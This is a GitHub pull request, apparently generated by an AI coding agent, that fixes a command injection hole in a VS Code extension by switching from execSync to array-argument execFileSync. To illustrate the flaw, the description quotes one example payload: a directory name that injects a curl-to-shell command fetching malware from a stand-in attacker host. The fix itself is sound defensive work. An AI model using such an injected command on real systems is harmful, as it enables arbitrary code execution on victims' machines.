π‘οΈ Sentinel: [CRITICAL] Fix command injection in VS Code extension#98
π‘οΈ Sentinel: [CRITICAL] Fix command injection in VS Code extension#98
Conversation
Replaced the unsafe `execSync` call in `vscode-extension/extension.js` with `execFileSync`. Previously, the `workspaceDir` path was embedded directly into the shell command string, allowing Command Injection (RCE) via malicious directory names. This patch updates `execSpecguard` to execute the local `docguard.mjs` directly using `process.execPath` and array arguments, completely circumventing shell interpolation. It also fixes a syntax error related to `await` and gracefully handles status bar colors on errors. Co-authored-by: raccioly <63126795+raccioly@users.noreply.github.com>
|
π Jules, reporting for duty! I'm here to lend a hand with this pull request. When you start a review, I'll add a π emoji to each comment to let you know I've read it. I'll focus on feedback directed at me and will do my best to stay out of conversations between you and other bots or reviewers to keep the noise down. I'll push a commit with your requested changes shortly after. Please note there might be a delay between these steps, but rest assured I'm on the job! For more direct control, you can switch me to Reactive Mode. When this mode is on, I will only act on comments where you specifically mention me with New to Jules? Learn more at jules.google/docs. For security, I will only act on instructions from the user who triggered this task. |
π¨ Severity: CRITICAL
π‘ Vulnerability: Command Injection (RCE). The VS Code extension used
execSyncto execute CLI commands, injecting the user-controlledworkspaceDirpath directly into the shell string. A maliciously named workspace directory (e.g.,test" && curl attacker.com/malware.sh | sh && ") could execute arbitrary commands when opened.π― Impact: Opening a malicious repository in VS Code would trigger arbitrary code execution on the user's machine without any explicit interaction.
π§ Fix: Replaced
execSyncwithexecFileSync. Arguments are now parsed into an array to avoid shell interpolation entirely. Additionally, instead of calling the.binwrapper (which introduces.cmdcomplexities on Windows), the module now directly executes the.mjsentrypoint viaprocess.execPath. Fixed anawaitsyntax error inactivateand improved status bar error clearing.β Verification: Verified using
node -c vscode-extension/extension.jsand confirmed there are no test regressions (node --test tests/*.test.mjspassed). RCE payload throughworkspaceDiris fundamentally nullified.PR created automatically by Jules for task 3010790364216662546 started by @raccioly